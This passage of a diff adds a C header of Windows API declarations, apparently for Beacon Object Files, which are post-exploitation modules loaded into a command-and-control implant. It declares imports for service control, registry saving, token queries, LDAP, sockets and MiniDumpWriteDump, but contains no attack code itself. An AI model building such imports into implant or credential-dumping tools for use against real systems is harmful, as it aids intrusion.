+WINUSERAPI int WINAPI USER32$GetWindowTextA(HWND hWnd, LPSTR lpString, + int nMaxCount); +WINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd, LPTSTR lpClassName, + int nMaxCount); +WINUSERAPI BOOL WINAPI USER32$EnumChildWindows(HWND hWndParent, + WNDENUMPROC lpEnumFunc, + LPARAM lParam); + +// secur32 +WINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExA(int NameFormat, + LPSTR lpNameBuffer, + PULONG nSize); + +// shlwapi +WINBASEAPI LPSTR WINAPI SHLWAPI$StrStrIA(LPCSTR lpFirst, LPCSTR lpSrch); + +// advapi32 +WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, + DWORD DesiredAccess, + PHANDLE TokenHandle); +WINADVAPI LSTATUS WINAPI ADVAPI32$RegQueryInfoKeyW( + HKEY hKey, LPWSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, + LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, + LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, + LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation( + HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, + LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); +WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid, + LPSTR *StringSid); +WINADVAPI WINBOOL WINAPI +ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW( + LPCWSTR StringSecurityDescriptor, DWORD StringSDRevision, + PSECURITY_DESCRIPTOR *SecurityDescriptor, PULONG SecurityDescriptorSize); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidA( + LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName, + LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, + PSID_NAME_USE peUse); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW( + LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, + LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, + PSID_NAME_USE peUse); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeNameA(LPCSTR lpSystemName, + PLUID lpLuid, + LPSTR lpName, + LPDWORD cchName); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeDisplayNameA( + LPCSTR lpSystemName, LPCSTR lpName, LPSTR lpDisplayName, + LPDWORD cchDisplayName, LPDWORD lpLanguageId); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR lpMachineName, + LPCSTR lpDatabaseName, + DWORD dwDesiredAccess); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceA(SC_HANDLE hSCManager, + LPCSTR lpServiceName, + DWORD dwDesiredAccess); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatus( + SC_HANDLE hService, LPSERVICE_STATUS lpServiceStatus); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfigA( + SC_HANDLE hService, LPQUERY_SERVICE_CONFIGA lpServiceConfig, + DWORD cbBufSize, LPDWORD pcbBytesNeeded); +WINADVAPI WINBOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject); +WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExA( + SC_HANDLE hSCManager, SC_ENUM_TYPE InfoLevel, DWORD dwServiceType, + DWORD dwServiceState, LPBYTE lpServices, DWORD cbBufSize, + LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, LPDWORD lpResumeHandle, + LPCSTR pszGroupName); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatusEx(SC_HANDLE hService, + SC_STATUS_TYPE InfoLevel, + LPBYTE lpBuffer, + DWORD cbBufSize, + LPDWORD pcbBytesNeeded); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfig2A(SC_HANDLE hService, + DWORD dwInfoLevel, + LPBYTE lpBuffer, + DWORD cbBufSize, + LPDWORD pcbBytesNeeded); +WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfig2A(SC_HANDLE hService, + DWORD dwInfoLevel, + LPVOID lpInfo); +WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfigA( + SC_HANDLE hService, DWORD dwServiceType, DWORD dwStartType, + DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, + LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, + LPCSTR lpPassword, LPCSTR lpDisplayName); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$CreateServiceA( + SC_HANDLE hSCManager, LPCSTR lpServiceName, LPCSTR lpDisplayName, + DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType, + DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, + LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, + LPCSTR lpPassword); +WINADVAPI WINBOOL WINAPI ADVAPI32$DeleteService(SC_HANDLE hService); +WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExW(HKEY hKey, LPCWSTR lpSubKey, + DWORD ulOptions, REGSAM samDesired, + PHKEY phkResult); +WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExW( + SC_HANDLE hSCManager, SC_ENUM_TYPE InfoLevel, DWORD dwServiceType, + DWORD dwServiceState, LPBYTE lpServices, DWORD cbBufSize, + LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, LPDWORD lpResumeHandle, + LPCWSTR pszGroupName); +WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyA(HKEY hKey, LPCSTR lpSubKey, + PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName, + DWORD Reserved, DWORD dwType, + CONST BYTE *lpData, DWORD cbData); +WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, + DWORD ulOptions, REGSAM samDesired, + PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegConnectRegistryA(LPCSTR lpMachineName, + HKEY hKey, PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey); +WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyA(HKEY hKey, LPCSTR lpSubKey, + PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExA( + HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, + REGSAM samDesired, LPSECURITY_ATTRIBUTES lpSecurityAttributes, + PHKEY phkResult, LPDWORD lpdwDisposition); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyExA(HKEY hKey, LPCSTR lpSubKey, + REGSAM samDesired, + DWORD Reserved); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyValueA(HKEY hKey, LPCSTR lpSubKey, + LPCSTR lpValueName); +WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, + LPDWORD lpReserved, + LPDWORD lpType, LPBYTE lpData, + LPDWORD lpcbData); +WINADVAPI LONG WINAPI ADVAPI32$RegQueryInfoKeyA( + HKEY hKey, LPSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, + LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, + LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, + LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime); +WINADVAPI LONG WINAPI ADVAPI32$RegEnumValueA(HKEY hKey, DWORD dwIndex, + LPSTR lpValueName, + LPDWORD lpcchValueName, + LPDWORD lpReserved, LPDWORD lpType, + LPBYTE lpData, LPDWORD lpcbData); +WINADVAPI LONG WINAPI ADVAPI32$RegEnumValueW(HKEY hKey, DWORD dwIndex, + LPWSTR lpValueName, + LPDWORD lpcchValueName, + LPDWORD lpReserved, LPDWORD lpType, + LPBYTE lpData, LPDWORD lpcbData); +WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExA(HKEY hKey, DWORD dwIndex, + LPSTR lpName, LPDWORD lpcchName, + LPDWORD lpReserved, LPSTR lpClass, + LPDWORD lpcchClass, + PFILETIME lpftLastWriteTime); +WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExW(HKEY hKey, DWORD dwIndex, + LPWSTR lpName, LPDWORD lpcchName, + LPDWORD lpReserved, LPSTR lpClass, + LPDWORD lpcchClass, + PFILETIME lpftLastWriteTime); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteValueA(HKEY hKey, LPCSTR lpValueName); +WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExW(HKEY hKey, LPCWSTR lpValueName, + LPDWORD lpReserved, + LPDWORD lpType, LPBYTE lpData, + LPDWORD lpcbData); +WINADVAPI LONG WINAPI +ADVAPI32$RegSaveKeyExA(HKEY hKey, LPCSTR lpFile, + LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD Flags); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW( + LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, + PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, + LPDWORD lpnLengthNeeded); +WINADVAPI WINBOOL WINAPI +ADVAPI32$GetSecurityDescriptorOwner(PSECURITY_DESCRIPTOR pSecurityDescriptor, + PSID *pOwner, LPBOOL lpbOwnerDefaulted); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorDacl( + PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbDaclPresent, + PACL *pDacl, LPBOOL lpbDaclDefaulted); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetAclInformation( + PACL pAcl, LPVOID pAclInformation, DWORD nAclInformationLength, + ACL_INFORMATION_CLASS dwAclInformationClass); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetAce(PACL pAcl, DWORD dwAceIndex, + LPVOID *pAce); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW( + LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, + LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, + PSID_NAME_USE peUse); +WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid, + LPWSTR *StringSid); +WINADVAPI VOID WINAPI ADVAPI32$MapGenericMask(PDWORD AccessMask, + PGENERIC_MAPPING GenericMapping); +WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, + DWORD DesiredAccess, + PHANDLE TokenHandle); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation( + HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, + LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); +WINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor( + PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision); +WINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl( + PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, + WINBOOL bDaclDefaulted); +WINADVAPI WINBOOL WINAPI +ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW( + PSECURITY_DESCRIPTOR SecurityDescriptor, DWORD RequestedStringSDRevision, + SECURITY_INFORMATION SecurityInformation, LPWSTR *StringSecurityDescriptor, + PULONG StringSecurityDescriptorLen); +WINADVAPI WINBOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE hService, + DWORD dwNumServiceArgs, + LPCSTR *lpServiceArgVectors); +WINADVAPI WINBOOL WINAPI ADVAPI32$ControlService( + SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus); +WINADVAPI WINBOOL WINAPI ADVAPI32$EnumDependentServicesA( + SC_HANDLE hService, DWORD dwServiceState, LPENUM_SERVICE_STATUSA lpServices, + DWORD cbBufSize, LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned); + +// NTDLL +WINBASEAPI NTSTATUS NTAPI NTDLL$NtCreateFile( + PHANDLE FileHandle, ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, + ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, + ULONG EaLength); +WINBASEAPI NTSTATUS NTAPI NTDLL$NtClose(HANDLE Handle); +WINBASEAPI NTSTATUS NTAPI NTDLL$NtFsControlFile( + HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, + PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, + ULONG OutputBufferLength); + +// IMAGEHLP +WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageEnumerateCertificates( + HANDLE FileHandle, WORD TypeFilter, PDWORD CertificateCount, PDWORD Indices, + DWORD IndexCount); +WINBASEAPI WINBOOL IMAGEAPI +IMAGEHLP$ImageGetCertificateHeader(HANDLE FileHandle, DWORD CertificateIndex, + LPWIN_CERTIFICATE Certificateheader); +WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateData( + HANDLE FileHandle, DWORD CertificateIndex, LPWIN_CERTIFICATE Certificate, + PDWORD RequiredLength); + +// crypt32 +WINIMPM WINBOOL WINAPI CRYPT32$CryptVerifyMessageSignature( + PCRYPT_VERIFY_MESSAGE_PARA pVerifyPara, DWORD dwSignerIndex, + const BYTE *pbSignedBlob, DWORD cbSignedBlob, BYTE *pbDecoded, + DWORD *pcbDecoded, PCCERT_CONTEXT *ppSignerCert); +WINIMPM DWORD WINAPI CRYPT32$CertGetNameStringW(PCCERT_CONTEXT pCertContext, + DWORD dwType, DWORD dwFlags, + void *pvTypePara, + LPWSTR pszNameString, + DWORD cchNameString); +WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertCreateCertificateContext( + DWORD dwCertEncodingType, const BYTE *pbCertEncoded, DWORD cbCertEncoded); +WINIMPM WINBOOL WINAPI +CRYPT32$CertFreeCertificateContext(PCCERT_CONTEXT pCertContext); +WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateContextProperty( + PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData); +WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateChain( + HCERTCHAINENGINE hChainEngine, PCCERT_CONTEXT pCertContext, + LPFILETIME pTime, HCERTSTORE hAdditionalStore, PCERT_CHAIN_PARA pChainPara, + DWORD dwFlags, LPVOID pvReserved, PCCERT_CHAIN_CONTEXT *ppChainContext); +WINIMPM VOID WINAPI +CRYPT32$CertFreeCertificateChain(PCCERT_CHAIN_CONTEXT pChainContext); +WINIMPM PCCRYPT_OID_INFO WINAPI CRYPT32$CryptFindOIDInfo(DWORD dwKeyType, + void *pvKey, + DWORD dwGroupId); + +// WS2_32 +// defining this here to avoid including ws2tcpip.h which results in include +// order warnings when bofs include windows.h before bofdefs.h +typedef struct addrinfo { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + size_t ai_addrlen; + char *ai_canonname; + struct sockaddr *ai_addr; + struct addrinfo *ai_next; +} ADDRINFOA, *PADDRINFOA; + +// WS2_32 +DECLSPEC_IMPORT int __stdcall WS2_32$connect(SOCKET sock, + const struct sockaddr *name, + int namelen); +DECLSPEC_IMPORT int __stdcall WS2_32$closesocket(SOCKET sock); +DECLSPEC_IMPORT void __stdcall WS2_32$freeaddrinfo(struct addrinfo *ai); +DECLSPEC_IMPORT int __stdcall WS2_32$getaddrinfo(char *host, char *port, + const struct addrinfo *hints, + struct addrinfo **result); +DECLSPEC_IMPORT u_long __stdcall WS2_32$htonl(u_long hostlong); +DECLSPEC_IMPORT u_short __stdcall WS2_32$htons(u_short hostshort); +DECLSPEC_IMPORT char *__stdcall WS2_32$inet_ntoa(struct in_addr in); +DECLSPEC_IMPORT int __stdcall WS2_32$ioctlsocket(SOCKET sock, long cmd, + u_long *arg); +DECLSPEC_IMPORT int __stdcall WS2_32$select(int nfds, fd_set *readfds, + fd_set *writefds, fd_set *exceptfds, + const struct timeval *timeout); +DECLSPEC_IMPORT unsigned int __stdcall WS2_32$socket(int af, int type, + int protocol); +DECLSPEC_IMPORT int __stdcall WS2_32$__WSAFDIsSet(SOCKET sock, + struct fd_set *fdset); +DECLSPEC_IMPORT int __stdcall WS2_32$WSAGetLastError(); +DECLSPEC_IMPORT LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, + LPWSTR pStringBuf, + size_t StringBufSIze); +DECLSPEC_IMPORT INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, + PVOID pAddr); + +// dnsapi +DECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData, DNS_FREE_TYPE FreeType); +DECLSPEC_IMPORT int WINAPI DNSAPI$DnsGetCacheDataTable(PVOID data); + +// OLE32 +DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, + DWORD dwCoInit); +DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoUninitialize(void); +DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity( + PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, + SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void *pReserved1, + DWORD dwAuthnLevel, DWORD dwImpLevel, void *pAuthList, DWORD dwCapabilities, + void *pReserved3); +DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, + LPUNKNOWN pUnkOuter, + DWORD dwClsContext, + REFIID riid, LPVOID *ppv); +DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCOLESTR lpsz, + LPCLSID pclsid); +DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(LPCOLESTR lpsz, LPIID lpiid); +DECLSPEC_IMPORT int WINAPI OLE32$StringFromGUID2(REFGUID rguid, LPOLESTR lpsz, + int cchMax); +DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoSetProxyBlanket( + IUnknown *pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc, + OLECHAR *pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, + RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities); +DECLSPEC_IMPORT LPVOID WINAPI OLE32$CoTaskMemAlloc(SIZE_T cb); +DECLSPEC_IMPORT void WINAPI OLE32$CoTaskMemFree(LPVOID pv); + +// OLEAUT32 +DECLSPEC_IMPORT BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *); +DECLSPEC_IMPORT INT WINAPI OLEAUT32$SysReAllocString(BSTR *, const OLECHAR *); +DECLSPEC_IMPORT void WINAPI OLEAUT32$SysFreeString(BSTR); +DECLSPEC_IMPORT UINT WINAPI OLEAUT32$SysStringLen(BSTR); +DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg); +DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg); +DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SysAddRefString(BSTR); +DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$VariantChangeType(VARIANTARG *pvargDest, + VARIANTARG *pvarSrc, + USHORT wFlags, + VARTYPE vt); +DECLSPEC_IMPORT void WINAPI OLEAUT32$VarFormatDateTime(LPVARIANT pvarIn, + int iNamedFormat, + ULONG dwFlags, + BSTR *pbstrOut); +DECLSPEC_IMPORT void WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY *psa); +DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayLock(SAFEARRAY *psa); +DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetLBound(SAFEARRAY *psa, + UINT nDim, + LONG *plLbound); +DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetUBound(SAFEARRAY *psa, + UINT nDim, + LONG *plUbound); +DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetElement(SAFEARRAY *psa, + LONG *rgIndices, + void *pv); +DECLSPEC_IMPORT UINT WINAPI OLEAUT32$SafeArrayGetElemsize(SAFEARRAY *psa); +DECLSPEC_IMPORT HRESULT WINAPI +OLEAUT32$SafeArrayAccessData(SAFEARRAY *psa, void HUGEP **ppvData); +DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY *psa); + +// CERTCLI +/* +DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumFirstCA(IN LPCWSTR wszScope, IN +DWORD dwFlags, OUT LPVOID * phCAInfo); DECLSPEC_IMPORT HRESULT WINAPI +CERTCLI$CAEnumNextCA(IN LPVOID hPrevCA, OUT LPVOID * phCAInfo); DECLSPEC_IMPORT +HRESULT WINAPI CERTCLI$CACloseCA(IN LPVOID hCA); DECLSPEC_IMPORT DWORD WINAPI +CERTCLI$CACountCAs(IN LPVOID hCAInfo); DECLSPEC_IMPORT LPCWSTR WINAPI +CERTCLI$CAGetDN(IN LPVOID hCAInfo); DECLSPEC_IMPORT HRESULT WINAPI +CERTCLI$CAGetCAProperty(IN LPVOID hCAInfo, IN LPCWSTR wszPropertyName, OUT +PZPWSTR *pawszPropertyValue); DECLSPEC_IMPORT HRESULT WINAPI +CERTCLI$CAFreeCAProperty(IN LPVOID hCAInfo, IN PZPWSTR awszPropertyValue); +DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAFlags(IN LPVOID hCAInfo, OUT DWORD +*pdwFlags); DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCACertificate(IN LPVOID +hCAInfo, OUT PCCERT_CONTEXT *ppCert); DECLSPEC_IMPORT HRESULT WINAPI +CERTCLI$CAGetCAExpiration(IN LPVOID hCAInfo, OUT DWORD * pdwExpiration, OUT +DWORD * pdwUnits); DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCASecurity(IN +LPVOID hCAInfo, OUT PSECURITY_DESCRIPTOR * ppSD); DECLSPEC_IMPORT HRESULT WINAPI +CERTCLI$CAGetAccessRights(IN LPVOID hCAInfo, IN DWORD dwContext, OUT DWORD +*pdwAccessRights); DECLSPEC_IMPORT HRESULT WINAPI +CERTCLI$CAEnumCertTypesForCA(IN LPVOID hCAInfo, IN DWORD dwFlags, OUT LPVOID * +phCertType); DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumCertTypes(IN DWORD +dwFlags, OUT LPVOID * phCertType); DECLSPEC_IMPORT HRESULT WINAPI +CERTCLI$CAEnumNextCertType(IN LPVOID hPrevCertType, OUT LPVOID * phCertType); +DECLSPEC_IMPORT DWORD WINAPI CERTCLI$CACountCertTypes(IN LPVOID hCertType); +DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACloseCertType(IN LPVOID hCertType); +DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeProperty(IN LPVOID +hCertType, IN LPCWSTR wszPropertyName, OUT PZPWSTR *pawszPropertyValue); +DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypePropertyEx(IN LPVOID +hCertType, IN LPCWSTR wszPropertyName, OUT LPVOID *pPropertyValue); +DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCertTypeProperty(IN LPVOID +hCertType, IN PZPWSTR awszPropertyValue); DECLSPEC_IMPORT HRESULT WINAPI +CERTCLI$CAGetCertTypeExtensionsEx(IN LPVOID hCertType, IN DWORD dwFlags, IN +LPVOID pParam, OUT PCERT_EXTENSIONS * ppCertExtensions); DECLSPEC_IMPORT HRESULT +WINAPI CERTCLI$CAFreeCertTypeExtensions(IN LPVOID hCertType, IN PCERT_EXTENSIONS +pCertExtensions); DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeFlagsEx(IN +LPVOID hCertType, IN DWORD dwOption, OUT DWORD * pdwFlags); DECLSPEC_IMPORT +HRESULT WINAPI CERTCLI$CAGetCertTypeExpiration(IN LPVOID hCertType, OUT OPTIONAL +FILETIME * pftExpiration, OUT OPTIONAL FILETIME * pftOverlap); DECLSPEC_IMPORT +HRESULT WINAPI CERTCLI$CACertTypeGetSecurity(IN LPVOID hCertType, OUT +PSECURITY_DESCRIPTOR * ppSD); DECLSPEC_IMPORT HRESULT WINAPI +CERTCLI$CAGetCertTypeAccessRights(IN LPVOID hCertType, IN DWORD dwContext, OUT +DWORD *pdwAccessRights); DECLSPEC_IMPORT HRESULT WINAPI +CERTCLI$caTranslateFileTimePeriodToPeriodUnits(IN FILETIME const *pftGMT, IN +BOOL Flags, OUT DWORD *pcPeriodUnits, OUT LPVOID*prgPeriodUnits); +*/ + +// dbghelp +DECLSPEC_IMPORT WINBOOL WINAPI DBGHELP$MiniDumpWriteDump( + HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, + CONST PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, + CONST PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, + CONST PMINIDUMP_CALLBACK_INFORMATION CallbackParam); + +// WLDAP32 +WINLDAPAPI LDAP *LDAPAPI WLDAP32$ldap_init(PSTR, ULONG); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_bind_s(LDAP *ld, const PSTR dn, + const PCHAR cred, ULONG method); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_search_s(LDAP *ld, PSTR base, ULONG scope, + PSTR filter, PZPSTR attrs, + ULONG attrsonly, + PLDAPMessage *res); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_entries(LDAP *, LDAPMessage *); +WINLDAPAPI struct berval **LDAPAPI WLDAP32$ldap_get_values_lenA( + LDAP *ExternalHandle, LDAPMessage *Message, const PCHAR attr); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free_len(struct berval **vals); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_set_optionA(LDAP *ld, int option, + const void *invalue); +WINLDAPAPI PLDAPSearch LDAPAPI WLDAP32$ldap_search_init_pageA( + PLDAP ExternalHandle, const PCHAR DistinguishedName, ULONG ScopeOfSearch, + const PCHAR SearchFilter, PCHAR AttributeList[], ULONG AttributesOnly, + PLDAPControlA *ServerControls, PLDAPControlA *ClientControls, + ULONG PageTimeLimit, ULONG TotalSizeLimit, PLDAPSortKeyA *SortKeys); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_paged_count(PLDAP ExternalHandle, + PLDAPSearch SearchBlock, + ULONG *TotalCount, + PLDAPMessage Results); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_next_page_s( + PLDAP ExternalHandle, PLDAPSearch SearchHandle, struct l_timeval *timeout, + ULONG PageSize, ULONG *TotalCount, LDAPMessage **Results); + +WINLDAPAPI LDAPMessage *LDAPAPI WLDAP32$ldap_first_entry(LDAP *ld, + LDAPMessage *res); +WINLDAPAPI LDAPMessage *LDAPAPI WLDAP32$ldap_next_entry(LDAP *, LDAPMessage *); +WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_first_attribute(LDAP *ld, + LDAPMessage *entry, + BerElement **ptr); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_values(PCHAR); +WINLDAPAPI PCHAR *LDAPAPI WLDAP32$ldap_get_values(LDAP *ld, LDAPMessage *entry, + const PSTR attr); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free(PCHAR *); +WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_next_attribute(LDAP *ld, + LDAPMessage *entry, + BerElement *ptr); +WINLDAPAPI VOID LDAPAPI WLDAP32$ber_free(BerElement *pBerElement, INT fbuf); +WINLDAPAPI VOID LDAPAPI WLDAP32$ldap_memfree(PCHAR); + +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind(LDAP *); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind_s(LDAP *); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_msgfree(LDAPMessage *); + +// RPCRT4 +RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$UuidToStringA(UUID *Uuid, + RPC_CSTR *StringUuid); +RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$RpcStringFreeA(RPC_CSTR *String); + +// PSAPI +DECLSPEC_IMPORT WINBOOL WINAPI PSAPI$EnumProcessModulesEx(HANDLE hProcess, + HMODULE *lphModule, + DWORD cb, + LPDWORD lpcbNeeded, + DWORD dwFilterFlag); +DECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExA(HANDLE hProcess, + HMODULE hModule, + LPSTR lpFilename, + DWORD nSize); + +// VERSION +DECLSPEC_IMPORT DWORD WINAPI +VERSION$GetFileVersionInfoSizeA(LPCSTR lptstrFilenamea, LPDWORD lpdwHandle); +DECLSPEC_IMPORT WINBOOL WINAPI 